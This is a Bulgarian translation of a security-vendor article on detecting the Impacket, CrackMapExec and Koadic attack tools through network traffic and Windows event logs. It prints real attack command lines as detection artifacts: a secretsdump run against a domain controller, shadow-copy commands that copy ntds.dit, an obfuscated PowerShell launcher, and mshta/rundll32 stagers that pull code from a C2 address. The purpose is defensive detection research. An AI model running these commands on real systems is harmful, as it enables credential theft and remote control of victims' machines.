🥇Как да открием атаки на Windows инфраструктура: изучаваме инструментариума на хакерите

С всяка година расте броят на атаките в корпоративния сектор: например през 2017 година бяха регистрирани с 13% повече уникални инциденти в сравнение с 2016 г., а за 2018 г. — на 27% повече инциденти, отколкото в предходния период. Включително и такива, при които основното работно средство е операционната система Windows. През 2017—2018 години групи APT Dragonfly, APT28, APT MuddyWater извършваха атаки срещу правителствени и военни организации в Европа, Северна Америка и Саудитска Арабия. И за целта използваха три инструмента — Impacket, CrackMapExec и Koadic. Техният изходен код е открит и достъпен в GitHub.

Струва си да се отбележи, че тези инструменти не се използват за първоначално проникване, а за развитие на атаката вътре в инфраструктурата. Нападателите ги използват на различни етапи от атаката, следващи след преодоляването на периметъра. Това, между другото, трудно се открива и често само с помощта на технологии за откриване на следи от компрометация в мрежовия трафик или инструменти, позволяващи да се открият активни действия на нападателя след проникването му в инфраструктурата. Инструментите осигуряват множество функции — от предаване на файлове до взаимодействие с регистъра и изпълнение на команди на отдалечена машина. Проведохме проучване на тези инструменти, за да определим тяхната мрежова активност.

Какво трябваше да направим:

Да разберем как работи хакерският инструментарий. Да научим какво е необходимо на атакуващите, за да експлоатират и какви технологии могат да използват.
Да намерим неща, които не се откриват от средствата за информационна сигурност на ранните етапи от атаката. Етапът на разузнаване може да бъде пропуснат, или защото атакуващият е вътрешен злоумышленник, или защото атакуващият се възползва от уязвимост в инфраструктурата, за която преди не е имало информация. Появява се възможност да се възстанови цялата верига от неговите действия, откъдето идва желанието да се открият по-нататъшни движения.
Да се минимизират фалшивите сработвания на средствата за откриване на прониквания. Не забравяйте, че при разкриването на определени действия само на базата на разузнаване могат да възникнат чести грешки. Обикновено в инфраструктурата съществува достатъчно количество начини, които на пръв поглед не се различават от легитимните, за получаване на информация.

Какви ползи получават атакуващите от тези инструменти? Ако става въпрос за Impacket, злонамеренците получават голяма библиотека от модули, които могат да се използват на различни етапи от атаката след пробив в периметъра. Много инструменти използват модули Impacket в себе си — например, Metasploit. В него има dcomexec и wmiexec за дистанционно изпълнение на команди, secretsdump за извличане на акаунти от паметта, които са добавени от Impacket. В крайна сметка, правилното откритие на активността на такава библиотека ще осигури и откритие на производните.

За CrackMapExec (или просто CME) създателите неслучайно написаха «Powered by Impacket». Освен това, CME разполага с готова функционалност за популярни сценарии: това е и Mimikatz за извличане на пароли или техните хешове, и внедряване на Meterpreter или Empire agent за дистанционно изпълнение, и Bloodhound на борда.

Третият избран от нас инструмент — Koadic. Той е относително нов, представен на международната хакерска конференция DEFCON 25 през 2017 година и се отличава с нестандартен подход: работа чрез HTTP, Java Script и Microsoft Visual Basic Script (VBS). Този подход се нарича living off the land: инструментът използва набор от зависимости и библиотеки, интегрирани в Windows. Създавачите го наричат COM Command & Control, или C3.

IMPACKET

Функционалността на Impacket е доста обширна, започвайки от разузнаване вътре в AD и събиране на данни от вътрешни MS SQL сървъри, до техники за получаване на удостоверителни данни: това е и атака SMB relay, и извличане от контролера на домейна на файла ntds.dit, съдържащ хешовете на паролите на потребителите. Освен това, Impacket дистанционно изпълнява команди, използвайки четири различни метода: чрез WMI, сервиз за управление на Windows Task Scheduler, DCOM и SMB, и за това му трябват удостоверителни данни.

Secretsdump

Нека разгледаме secretsdump. Това е модул, насочен както към потребителски машини, така и към контролери на домейни. С негова помощ могат да се получат копия на паметта LSA, SAM, SECURITY, NTDS.dit, затова може да се види на различни етапи от атаката. Първата стъпка в работата на модула е удостоверяване чрез SMB, за което е необходима или паролата на потребителя, или нейният хеш, за автоматично провеждане на атаката Pass the Hash. След това следва заявка за отваряне на достъп до Service Control Manager (SCM) и получаване на достъп до регистъра чрез протокола winreg, с помощта на който атакуващият може да научи данни за интересуващите го клонове и да получи резултати чрез SMB.

На рис. 1 виждаме как точно при използване на протокола winreg се получава достъп по ключа на регистъра с LSA. За това се използва командата DCERPC с opcode 15 — OpenKey.

Рис. 1. Отваряне на ключа на регистъра по протокола winreg

След това, когато достъпът по ключа е получен, настъпва запазване на стойностите с командата SaveKey с opcode 20. Impacket го прави по много специфичен начин. Той запазва стойностите в файл, чието име е низ от 8 случайни символа с добавка .tmp. Освен това, последващата извличане на този файл става чрез SMB от директорията System32 (рис. 2).

Рис. 2. Схема за получаване на ключа на регистъра от отдалечена машина

В резултат, подобна активност в мрежата може да бъде открита по заявките към определени клонове на регистъра чрез протокола winreg, специфични имена, команди и техния ред.

Също така, този модул оставя следи в журнала на събитията на Windows, благодарение на които той лесно може да бъде открит. Например, в резултат на изпълнението на командата

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

в журнала на Windows Server 2016 ще видим следната ключова последователност от събития:

1. 4624 — отдалечен Logon.
2. 5145 — проверка на правата за достъп до отдалечен сервиз winreg.
3. 5145 — проверка на правата за достъп до файл в директорията System32. Файлът има случайно име, споменато по-горе.
4. 4688 — създаване на процес cmd.exe, който стартира vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — създаване на процес с команда:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 — създаване на процес с команда:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 — създаване на процес с команда:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Както при много инструменти за постексплоатация, така и Impacket разполага с модули за отдалечено изпълнение на команди. Ще се фокусираме върху smbexec, който предоставя интерактивен команден интерфейс на отдалечената машина. За този модул също е необходима автентикация чрез SMB, използвайки парола или нейния хеш. На фиг. 3 виждаме пример за работа на такъв инструмент, в данном случай консола на локалния администратор.

Фиг. 3. Интерактивна конзола smbexec

Първият етап на работа на smbexec след автентикация е отваряне на SCM с команда OpenSCManagerW (15). Запитването е забележително: в него полето MachineName има стойност DUMMY.

Фиг. 4. Запитване за отваряне на Service Control Manager

След това се създава услуга с команда CreateServiceW (12). В случая на smbexec можем да наблюдаваме една и съща логика на построяване на командата всеки път. На фиг. 5 зеленото показва неизменяемите параметри на командата, жълтото — параметрите, които атакуващият може да промени. Лесно може да се забележи, че името на изпълняемия файл, неговата директория и файла за изход могат да се променят, но останалото е значително по-трудно да се промени, без да се нарушава логиката на работа на модула Impacket.

Фиг. 5. Запитване за създаване на услуга чрез Service Control Manager

Smbexec оставя явни следи и в жорнала на събитията на Windows. В журнала на Windows Server 2016 за интерактивна командна обвивка с команда ipconfig бихме видели следната ключова последователност от събития:

1. 4697 — инсталиране на услуга на жертвени машина:

%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 — създаване на процес cmd.exe с аргументите от точка 1.
3. 5145 — проверка на правата за достъп до файла __output в директория C$.
4. 4697 — инсталиране на услуга на жертвени машина.

%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 — създаване на процес cmd.exe с аргументи от точка 4.
6. 5145 — проверка на права за достъп до файла __output в директория C$.

Impacket е основата за разработка на инструменти за атаки. Той поддържа почти всички протоколи в Windows инфраструктурата и в същото време има свои характерни особености. Тук са конкретни winreg заявки, използване на SCM API с характерно формиране на команди, формат на имена на файлове и SMB споделяне SYSTEM32.

CRACKMAPEXEC

Инструментът CME е предназначен първоначално да автоматизира рутинните действия, които атакуващият трябва да извърши, за да напредне в мрежата. Той позволява работа в тандем с известните Empire agent и Meterpreter. За да изпълнява командите дискретно, CME може да ги обфускира. Използвайки Bloodhound (отделен инструмент за разузнаване), атакуващият може да автоматизира търсенето на активна сесия на домейн администратор.

Bloodhound

Bloodhound като самостоятелен инструмент позволява извършване на напреднало разузнаване в мрежата. Той събира данни за потребители, машини, групи и сесии и се доставя под формата на PowerShell скрипт или двоичен файл. За събиране на информация се използват LDAP или протоколи, базирани на SMB. Интеграционният модул CME позволява да се зареди Bloodhound на машината на жертвата, да се стартира и да се получат събраните данни след изпълнението, така автоматизирайки действията в системата и правейки ги по-малко забележими. Графичният интерфейс на Bloodhound представя събраните данни под формата на графове, което позволява намиране на най-краткия път от машината на атакуващия до домейн администратора.

Рис. 6. Интерфейс на Bloodhound

За да стартира на машината на жертвата, модулът създава задача, използвайки ATSVC и SMB. ATSVC е интерфейс за работа с планирача на задачи в Windows. CME използва функцията NetrJobAdd (1) за създаване на задачи по мрежата. Пример за това, което модулът CME изпраща, е показан на рис. 7: това е повикване на командата cmd.exe и обфускиран код във форма на аргументи в XML формат.

Рис. 7. Създаване на задача чрез CME

След като задачата бъде подадена за изпълнение, машината на жертвата стартира самия Bloodhound и в трафика това може да бъде забелязано. За модула са характерни LDAP заявки за получаване на стандартни групи, списък на всички машини и потребители в домейна, получаване на информация за активни потребителски сесии чрез заявка SRVSVC NetSessEnum.

Рис. 8. Получаване на списък с активни сесии чрез SMB

Освен това, изпълнението на Bloodhound на жертвения компютър с активиран одит е съпроводено от събитие с ID 4688 (създаване на процес) и името на процеса «C:WindowsSystem32cmd.exe». В него забележително са аргументите на командния ред:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 101, 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Модулът enum_avproducts е наистина интересен от гледна точка на функционалността и реализацията. WMI позволява чрез езика на запитвания WQL да се получават данни за различни обекти в Windows, което по същество използва този модул CME. Той генерира запитвания към класовете AntiSpywareProduct и AntiМirusProduct относно защитните средства, установени на жертвения компютър. За да получи необходимите данни, модулът се свързва с пространството от имена rootSecurityCenter2, след което формулира WQL-запитване и получава отговор. На рис. 9 е показано съдържанието на такива запитвания и отговори. В нашия пример беше намерен Windows Defender.

Рис. 9. Мрежова активност на модула enum_avproducts

Често одитът на WMI (Trace WMI-Activity), в събитията на който може да се намери полезна информация за WQL-запитванията, може да бъде изключен. Но ако е включен, в случай на изпълнение на сценария enum_avproducts ще се запази събитие с ID 11. В него ще бъде съдържанието на потребителското име, което е изпратило запитването, и името в пространството от имена rootSecurityCenter2.

Всеки от модулите CME открива свои артефакти, независимо дали става дума за специфични WQL-запитвания или създаване на определен тип задача в графика на задачите с обфускация и характерна за Bloodhound активност в LDAP и SMB.

KOADIC

Отличителната черта на Koadic е използването на вградени интерпретатори на JavaScript и VBScript в Windows. В това отношение той следва тренда living off the land - тоест нe притежава външни зависимости и използва стандартните средства на Windows. Това е инструмент за пълен Command & Control (CnC), тъй като след инфекция на компютъра се инсталира "имплант", който позволява неговия контрол. Такъв компютър, в терминологията на Koadic, се нарича "зомби". При недостатъчност на привилегии за нормална работа на страната на жертвата Koadic има възможност да ги повиши, използвайки техники за заобикаляне на контрола на потребителските акаунти (UAC bypass).

Рис. 10. Команден ред Koadic

Жертвата трябва сама да инициира комуникацията със Command & Control сървъра. За това е необходимо да се обърне към предварително подготвен URI и да получи основното тяло на Koadic с помощта на един от стадията. На ръс. 11 е показан пример за стадия mshta.

Ръс. 11. Инициализация на сесия с CnC сървъра

От променливата WS на отговора става ясно, че изпълнението се извършва чрез WScript.Shell, а променливите STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE съдържат ключова информация относно параметрите на текущата сесия. Това е първата двойка запитване-отговор в HTTP връзката с CnC сървъра. Последващите запитвания са свързани директно с функционалността на извиканите модули (импланти). Всички модули на Koadic работят само с активна сесия с CnC.

Mimikatz

По същия начин, по който CME работи с Bloodhound, Koadic работи с Mimikatz като отделна програма и има няколко начина за нейното стартиране. По-долу е представена двойка запитване-отговор за зареждане на импланта Mimikatz.

Ръс. 12. Предаване на Mimikatz в Koadic

Може да се забележи, как се е променил форматът на URI в запитването. В него се появи стойност на променливата csrf, която отговаря за избрания модул. Не обръщайте внимание на името ѝ; всички знаем, че под CSRF обикновено се разбира нещо друго. В отговора дойде същото основно тяло на Koadic, към което беше добавен код, свързан с Mimikatz. Той е доста голям, затова ще разгледаме ключовите моменти. Пред нас е кодирана в base64 библиотека Mimikatz, сериализиран .NET клас, който ще я инжектира, и аргументи за стартиране на Mimikatz. Резултатът от изпълнението се предава по мрежата в открит вид.

Ръс. 13. Резултат от изпълнението на Mimikatz на отдалечен компютър

Exec_cmd

В Koadic също така има модули, способни да изпълняват команди отдалечено. Тук ще видим същия метод за генериране на URI и познатите променливи sid и csrf. В случая на модула exec_cmd в тялото се добавя код, който може да изпълнява shell команди. По-долу е показан такъв код, съдържащ се в HTTP отговора на CnC сървъра.

Ръс. 14. Код на импланта exec_cmd

Променливата GAWTUUGCFI с познатия атрибут WS е необходима за изпълнението на кода. С нейна помощ имплантът извиква shell, обработвайки две части от кода — shell.exec с връщане на изходния поток данни и shell.run без връщане.

Koadic не е типичен инструмент, но има свои артефакти, по които може да бъде намерен в легитимния трафик:

специално формулиране на HTTP запитвания,
използване на winHttpRequests API,
създаване на обект WScript.Shell чрез ActiveXObject,
голямо изпълнимо тяло.

Първоначалното свързване инициира стейджера, което дава възможност за откриване на активността му чрез събития на Windows. За mshta това събитие е 4688, което сигнализира за създаването на процес с атрибут на стартиране:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

По време на изпълнението на Koadic можете да видите и други събития 4688 с атрибути, които отлично го характеризират:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Изводи

Тренд living off the land набира популярност сред злоумышленниците. Те използват вградени в Windows инструменти и механизми за своите нужди. Наблюдаваме как популярни инструменти като Koadic, CrackMapExec и Impacket, следващи този принцип, все по-често се срещат в отчети за APT. Броят на fork-овете на GitHub за тези инструменти също нараства, появяват се нови (в момента са около хиляда). Тази тенденция набира популярност благодарение на своята простота: на злоумышленниците не им трябват външни инструменти, те вече присъстват на компютрите на жертвите и помагат да се заобиколят защитните мерки. Ние се фокусираме върху изучаването на мрежовата взаимовръзка: всеки от описаните по-горе инструменти оставя свои следи в мрежовия трафик; детайното им изследване ни позволи да обучим нашия продукт PT Network Attack Discovery да ги открива, което в крайна сметка помага при разследването на цялата верига киберинциденти с тяхно участие.

Автори:

Антон Тюрин, ръководител на отдела за експертни услуги, PT Expert Security Center, Positive Technologies
Егор Подмоков, експерт, PT Expert Security Center, Positive Technologies

Източник: habr.com